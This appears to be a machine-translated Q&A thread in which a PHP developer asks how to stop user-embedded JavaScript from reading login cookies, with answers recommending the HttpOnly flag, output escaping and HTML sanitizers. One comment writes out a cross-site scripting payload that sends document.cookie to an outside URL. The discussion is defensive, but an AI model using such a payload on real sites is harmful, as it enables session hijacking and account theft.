如何在用户页面上保护我的PHP Cookie不受JavaScript影响?

问题描述:

我有一个脚本(由我编程),在这个脚本中,访问者可以注册并登录(用户信息存储在cookie中)...注册后,他们可以编辑他们的个人页面。问题:这个页面接受javascript代码和任何人都可以使用document.cookie获得cookie:(如何在用户页面上保护我的PHP Cookie不受JavaScript影响?

我尝试创建正则表达式来清理用户页面中的document.cookie标记,但它不是很好的解决方案,因为用户可以将:<script src="filejs.js"></script>并写入filejs .js例如此代码alert(document.cookie);,此代码将找不到清除....

会话保存但它不是很长时间保存(time()+60*24*300):(

谢谢。

你为什么要阻止用户看到他们自己的cookie?他们已经可以将饼干存储在他们的电脑上。

如果你想防止有人把脚本到您的网页,使用strip_tags从输入删除HTML,或htmlspecialchars以显示它为纯文本。

+0

是的,但他们可以把聊天框不保存,例如你在这样的聊天中写新消息: document.location =“http://yoursite.com/index.php?cookie="+document.cookie ; 用户cookie插入您的网站,您可以访问他的帐户:s –

让用户在页面中包含JavaScript是非常困难的。您无法通过正则表达式自行实现此功能。您需要使用像Google's Caja project这样的重量级解决方案。

除了其他安全问题,您可以保护您的Cookie从JavaScript by using the HttpOnly flag。您可以通过passing setcookie() a true value for the $httponly argument在PHP中使用它。

+0

如果我设置httponly = true,用户无法使用JavaScript获取cookie。 –

+0

@Davidcoder:是的,但只有在较新的浏览器中,它在旧版浏览器中不起作用。没有Caja之类的东西,除了窃取cookie之外,还有其他方法可以破坏您的网站。 –

+0

确定 我将使用会话来保存只有密码和cookie用于保存用户名和编辑会话使用时间到一小时 $ _COOKIE [“用户名”] $ _SESSION [“密码”] 它是保存吗? –

防止javascript访问cookie的最佳方法是在cookie上设置HttpOnly标志。在PHP中,这可以使用session.cookie-httponly ini指令应用于会话cookie。如果您使用setcookie()设置cookie,则可以将可选$httponly参数设置为TRUE

你不能阻止用户查看自己的个人资料 - 即使你删除所有HTML等

所有他们需要的是Firefox的活HTTP标头。正如另一张海报所提到的 - 为什么在给他们的时候把饼干从他们身上剔除掉?

注册后,他们可以编辑自己的个人网页..的probleme:此页面接受JavaScript代码...

所以解决这个问题(例如,通过使用HTML消毒剂,或通过使用标记语言不是HTML)。你所描述的不是一个功能 - 这是一个严重的安全漏洞 - 它不能通过调整你的会话来有效地结束。这相当于重新安排泰坦尼克号的甲板椅。